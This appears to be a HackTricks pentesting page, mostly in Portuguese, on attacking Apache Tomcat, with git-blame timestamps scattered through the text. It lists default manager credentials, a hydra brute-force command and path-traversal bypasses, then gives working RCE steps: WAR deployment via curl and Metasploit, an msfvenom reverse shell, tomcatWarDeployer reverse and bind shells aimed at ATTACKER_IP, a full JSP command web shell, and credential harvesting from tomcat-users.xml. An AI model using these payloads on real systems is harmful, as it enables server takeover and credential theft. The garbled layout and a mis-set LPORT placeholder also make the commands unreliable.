2022-07-31 22:37:48 +00:00
# Tomcat
2022-04-28 16:01:33 +00:00
2024-07-18 22:06:26 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Learn & practice GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
< details >
2024-07-18 22:06:26 +00:00
< summary > Support HackTricks< / summary >
2022-04-28 16:01:33 +00:00
2024-07-18 22:06:26 +00:00
* Check the [**subscription plans** ](https://github.com/sponsors/carlospolop )!
* **Join the** 💬 [**Discord group** ](https://discord.gg/hRep4RUj7f ) or the [**telegram group** ](https://t.me/peass ) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) and [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github repos.
2022-04-28 16:01:33 +00:00
2022-10-02 23:29:55 +00:00
< / details >
2024-07-18 22:06:26 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-03-14 23:33:23 +00:00
**Try Hard Security Group**
2024-03-26 15:44:24 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:33:23 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-07-18 22:06:26 +00:00
## Discovery
2022-04-28 16:01:33 +00:00
2024-07-18 22:06:26 +00:00
* Geralmente roda na **porta 8080**
2023-06-06 18:56:34 +00:00
* **Erro comum do Tomcat:**
2022-04-28 16:01:33 +00:00
2022-10-05 21:51:12 +00:00
< figure > < img src = "../../.gitbook/assets/image (1) (6).png" alt = "" > < figcaption > < / figcaption > < / figure >
2022-04-28 16:01:33 +00:00
2024-07-18 22:06:26 +00:00
## Enumeration
2020-07-15 15:43:14 +00:00
2024-07-18 22:06:26 +00:00
### **Identificação de Versão**
2024-03-09 13:15:58 +00:00
2024-02-08 22:20:49 +00:00
Para encontrar a versão do Apache Tomcat, um comando simples pode ser executado:
2022-10-02 23:29:55 +00:00
```bash
2023-09-03 01:19:04 +00:00
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
2022-10-02 23:29:55 +00:00
```
2024-07-18 22:06:26 +00:00
Isso irá procurar o termo "Tomcat" na página de índice da documentação, revelando a versão na tag de título da resposta HTML.
### **Localização dos Arquivos do Gerente**
2024-03-09 13:15:58 +00:00
2024-07-18 22:06:26 +00:00
Identificar as localizações exatas dos diretórios ** `/manager` ** e ** `/host-manager` ** é crucial, pois seus nomes podem ser alterados. Uma busca por força bruta é recomendada para localizar essas páginas.
2020-07-15 15:43:14 +00:00
2024-02-08 22:20:49 +00:00
### **Enumeração de Nomes de Usuário**
2024-03-09 13:15:58 +00:00
2024-07-18 22:06:26 +00:00
Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuário através de:
2020-07-15 15:43:14 +00:00
```bash
msf> use auxiliary/scanner/http/tomcat_enum
```
2024-02-08 22:20:49 +00:00
### **Credenciais Padrão**
2024-03-09 13:15:58 +00:00
2024-07-18 22:06:26 +00:00
O diretório ** `/manager/html` ** é particularmente sensível, pois permite o upload e a implantação de arquivos WAR, o que pode levar à execução de código. Este diretório é protegido por autenticação HTTP básica, com credenciais comuns sendo:
2024-03-09 13:15:58 +00:00
* admin:admin
* tomcat:tomcat
* admin:
* admin:s3cr3t
* tomcat:s3cr3t
* admin:tomcat
2020-07-15 15:43:14 +00:00
2024-02-08 22:20:49 +00:00
Essas credenciais podem ser testadas usando:
2020-07-15 15:43:14 +00:00
```bash
msf> use auxiliary/scanner/http/tomcat_mgr_login
```
2024-07-18 22:06:26 +00:00
Outro diretório notável é ** `/manager/status` **, que exibe a versão do Tomcat e do sistema operacional, ajudando na identificação de vulnerabilidades.
2021-08-29 14:16:38 +00:00
2024-02-08 22:20:49 +00:00
### **Ataque de Força Bruta**
2024-03-09 13:15:58 +00:00
2024-02-08 22:20:49 +00:00
Para tentar um ataque de força bruta no diretório do gerenciador, pode-se usar:
2020-07-15 15:43:14 +00:00
```bash
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
```
2024-07-18 22:06:26 +00:00
Along with setting various parameters in Metasploit to target a specific host.
2024-02-08 22:20:49 +00:00
## Vulnerabilidades Comuns
2022-01-16 17:15:05 +00:00
2024-07-18 22:06:26 +00:00
### **Divulgação de Backtrace de Senha**
2024-03-09 13:15:58 +00:00
2024-07-18 22:06:26 +00:00
Acessar `/auth.jsp` pode revelar a senha em um backtrace sob circunstâncias favoráveis.
2021-03-24 12:52:26 +00:00
2024-02-08 22:20:49 +00:00
### **Codificação de URL Dupla**
2024-03-09 13:15:58 +00:00
2024-07-18 22:06:26 +00:00
A vulnerabilidade CVE-2007-1860 no `mod_jk` permite a codificação de URL dupla para travessia de caminho, possibilitando acesso não autorizado à interface de gerenciamento através de uma URL especialmente criada.
2020-07-15 15:43:14 +00:00
2024-07-18 22:06:26 +00:00
Para acessar a web de gerenciamento do Tomcat, vá para: `pathTomcat/%252E%252E/manager/html`
2024-03-09 13:15:58 +00:00
2024-03-26 15:44:24 +00:00
### /examples
2020-07-15 15:43:14 +00:00
2024-07-18 22:06:26 +00:00
As versões do Apache Tomcat de 4.x a 7.x incluem scripts de exemplo que são suscetíveis a divulgação de informações e ataques de cross-site scripting (XSS). Esses scripts, listados de forma abrangente, devem ser verificados quanto a acesso não autorizado e potencial exploração. Encontre [mais informações aqui ](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/ )
2021-03-24 12:52:26 +00:00
2024-03-26 15:44:24 +00:00
* /examples/jsp/num/numguess.jsp
* /examples/jsp/dates/date.jsp
* /examples/jsp/snp/snoop.jsp
* /examples/jsp/error/error.html
* /examples/jsp/sessions/carts.html
* /examples/jsp/checkbox/check.html
* /examples/jsp/colors/colors.html
* /examples/jsp/cal/login.html
* /examples/jsp/include/include.jsp
* /examples/jsp/forward/forward.jsp
* /examples/jsp/plugin/plugin.jsp
* /examples/jsp/jsptoserv/jsptoservlet.jsp
* /examples/jsp/simpletag/foo.jsp
* /examples/jsp/mail/sendmail.jsp
* /examples/servlet/HelloWorldExample
* /examples/servlet/RequestInfoExample
* /examples/servlet/RequestHeaderExample
* /examples/servlet/RequestParamExample
* /examples/servlet/CookieExample
* /examples/servlet/JndiServlet
* /examples/servlet/SessionExample
2021-03-24 12:52:26 +00:00
* /tomcat-docs/appdev/sample/web/hello.jsp
2024-07-18 22:06:26 +00:00
### **Exploração de Travessia de Caminho**
2024-03-09 13:15:58 +00:00
2024-07-18 22:06:26 +00:00
Em algumas [**configurações vulneráveis do Tomcat** ](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/ ), você pode ganhar acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/`
2021-12-23 18:13:55 +00:00
2024-07-18 22:06:26 +00:00
Assim, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulnerable.com/lalala/..;/manager/html`
2021-12-23 18:13:55 +00:00
2024-03-24 13:18:24 +00:00
**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulnerable.com/;param=value/manager/html`
2021-12-23 18:13:55 +00:00
2022-07-31 22:37:48 +00:00
## RCE
2020-07-15 15:43:14 +00:00
2024-07-18 22:06:26 +00:00
Finalmente, se você tiver acesso ao Gerenciador de Aplicações Web do Tomcat, você pode **fazer upload e implantar um arquivo .war (executar código)** .
2020-07-15 15:43:14 +00:00
2023-06-06 18:56:34 +00:00
### Limitações
2020-07-15 15:43:14 +00:00
2024-07-18 22:06:26 +00:00
Você só poderá implantar um WAR se tiver **privilégios suficientes** (papéis: **admin** , **manager** e **manager-script** ). Esses detalhes podem ser encontrados em _tomcat-users.xml_ , geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre versões) (veja a seção [POST ](tomcat.md#post )).
2020-07-15 15:43:14 +00:00
```bash
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
2021-08-22 16:26:27 +00:00
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
2020-07-15 15:43:14 +00:00
# undeploy
2021-08-22 01:54:08 +00:00
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
2020-07-15 15:43:14 +00:00
```
2022-07-31 22:37:48 +00:00
### Metasploit
2020-07-15 15:43:14 +00:00
```bash
use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost < IP >
msf exploit(multi/http/tomcat_mgr_upload) > set rport < port >
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername < username >
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword < password >
msf exploit(multi/http/tomcat_mgr_upload) > exploit
```
2024-07-18 22:06:26 +00:00
### MSFVenom Reverse Shell
2024-02-08 22:20:49 +00:00
2024-07-18 22:06:26 +00:00
1. Crie o war para implantar:
2023-06-06 18:56:34 +00:00
```bash
2023-11-05 15:51:15 +00:00
msfvenom -p java/shell_reverse_tcp LHOST=< LHOST_IP > LPORT=< LHOST_IP > -f war -o revshell.war
2023-06-06 18:56:34 +00:00
```
2024-03-24 13:18:24 +00:00
2. Faça o upload do arquivo `revshell.war` e acesse-o (`/revshell/`):
2020-07-15 15:43:14 +00:00
2024-07-18 22:06:26 +00:00
### Shell bind e reverso com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
2020-07-15 15:43:14 +00:00
2024-07-18 22:06:26 +00:00
Em alguns cenários isso não funciona (por exemplo, versões antigas do sun)
2023-06-06 18:56:34 +00:00
2024-07-18 22:06:26 +00:00
#### Baixar
2020-07-15 15:43:14 +00:00
```bash
git clone https://github.com/mgeeky/tomcatWarDeployer.git
```
2024-07-18 22:06:26 +00:00
#### Shell reversa
2020-07-15 15:43:14 +00:00
```bash
2021-08-29 13:51:49 +00:00
./tomcatWarDeployer.py -U < username > -P < password > -H < ATTACKER_IP > -p < ATTACKER_PORT > < VICTIM_IP > :< VICTIM_PORT > /manager/html/
2020-07-15 15:43:14 +00:00
```
2024-03-26 15:44:24 +00:00
#### Shell de ligação
2020-07-15 15:43:14 +00:00
```bash
./tomcatWarDeployer.py -U < username > -P < password > -p < bind_port > < victim_IP > :< victim_PORT > /manager/html/
```
2023-06-06 18:56:34 +00:00
### Usando [Culsterd](https://github.com/hatRiot/clusterd)
2020-07-15 15:43:14 +00:00
```bash
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
```
2023-06-06 18:56:34 +00:00
### Método manual - Web shell
2020-07-15 15:43:14 +00:00
2024-02-07 04:39:38 +00:00
Crie **index.jsp** com este [conteúdo ](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp ):
2020-07-15 15:43:14 +00:00
```java
< FORM METHOD = GET ACTION = 'index.jsp' >
< INPUT name = 'cmd' type = text >
< INPUT type = submit value = 'Run' >
< / FORM >
< %@ page import="java.io.*" %>
< %
2023-09-03 01:19:04 +00:00
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
2020-07-15 15:43:14 +00:00
InputStreamReader(p.getInputStream()));
2023-09-03 01:19:04 +00:00
while((s = sI.readLine()) != null) { output += s+"< / br > "; }
} catch(IOException e) { e.printStackTrace(); }
}
2020-07-15 15:43:14 +00:00
%>
< pre > < %=output %>< / pre >
```
```bash
2022-10-02 23:29:55 +00:00
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
2020-07-15 15:43:14 +00:00
webshell.war is created
2022-10-02 23:29:55 +00:00
# Upload it
2020-07-15 15:43:14 +00:00
```
2024-07-18 22:06:26 +00:00
Você também pode instalar isso (permite upload, download e execução de comandos): [http://vonloesch.de/filebrowser.html ](http://vonloesch.de/filebrowser.html )
2023-06-06 18:56:34 +00:00
### Método Manual 2
2022-10-02 23:29:55 +00:00
2024-07-18 22:06:26 +00:00
Obtenha um shell web JSP, como [este ](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp ) e crie um arquivo WAR:
2022-10-02 23:29:55 +00:00
```bash
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
2023-09-03 01:19:04 +00:00
zip -r backup.war cmd.jsp
2022-10-02 23:29:55 +00:00
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
```
2022-07-31 22:37:48 +00:00
## POST
2020-07-15 15:43:14 +00:00
2024-02-07 04:39:38 +00:00
O nome do arquivo de credenciais do Tomcat é _tomcat-users.xml_
2020-07-15 15:43:14 +00:00
```bash
find / -name tomcat-users.xml 2>/dev/null
```
2024-07-18 22:06:26 +00:00
Outras maneiras de coletar credenciais do Tomcat:
2020-07-15 15:43:14 +00:00
```bash
msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat
```
2024-03-26 15:44:24 +00:00
## Outras ferramentas de varredura do tomcat
2022-07-31 22:37:48 +00:00
* [https://github.com/p0dalirius/ApacheTomcatScanner ](https://github.com/p0dalirius/ApacheTomcatScanner )
2024-02-08 22:20:49 +00:00
## Referências
2024-03-09 13:15:58 +00:00
2024-02-08 22:20:49 +00:00
* [https://github.com/simran-sankhala/Pentest-Tomcat ](https://github.com/simran-sankhala/Pentest-Tomcat )
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf ](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf )
2024-07-18 22:06:26 +00:00
**Try Hard Security Group**
2024-03-14 23:33:23 +00:00
2024-03-26 15:44:24 +00:00
< figure > < img src = "/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt = "" > < figcaption > < / figcaption > < / figure >
2024-03-14 23:33:23 +00:00
{% embed url="https://discord.gg/tryhardsecurity" %}
2024-07-18 22:06:26 +00:00
{% hint style="success" %}
Aprenda e pratique Hacking AWS:< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
Aprenda e pratique Hacking GCP: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2024-02-08 22:20:49 +00:00
< details >
2024-07-18 22:06:26 +00:00
< summary > Support HackTricks< / summary >
2024-02-08 22:20:49 +00:00
2024-07-18 22:06:26 +00:00
* Confira os [**planos de assinatura** ](https://github.com/sponsors/carlospolop )!
* **Junte-se ao** 💬 [**grupo do Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo do telegram** ](https://t.me/peass ) ou **siga** -nos no **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) repositórios do github.
2024-02-08 22:20:49 +00:00
< / details >
2024-07-18 22:06:26 +00:00
{% endhint %}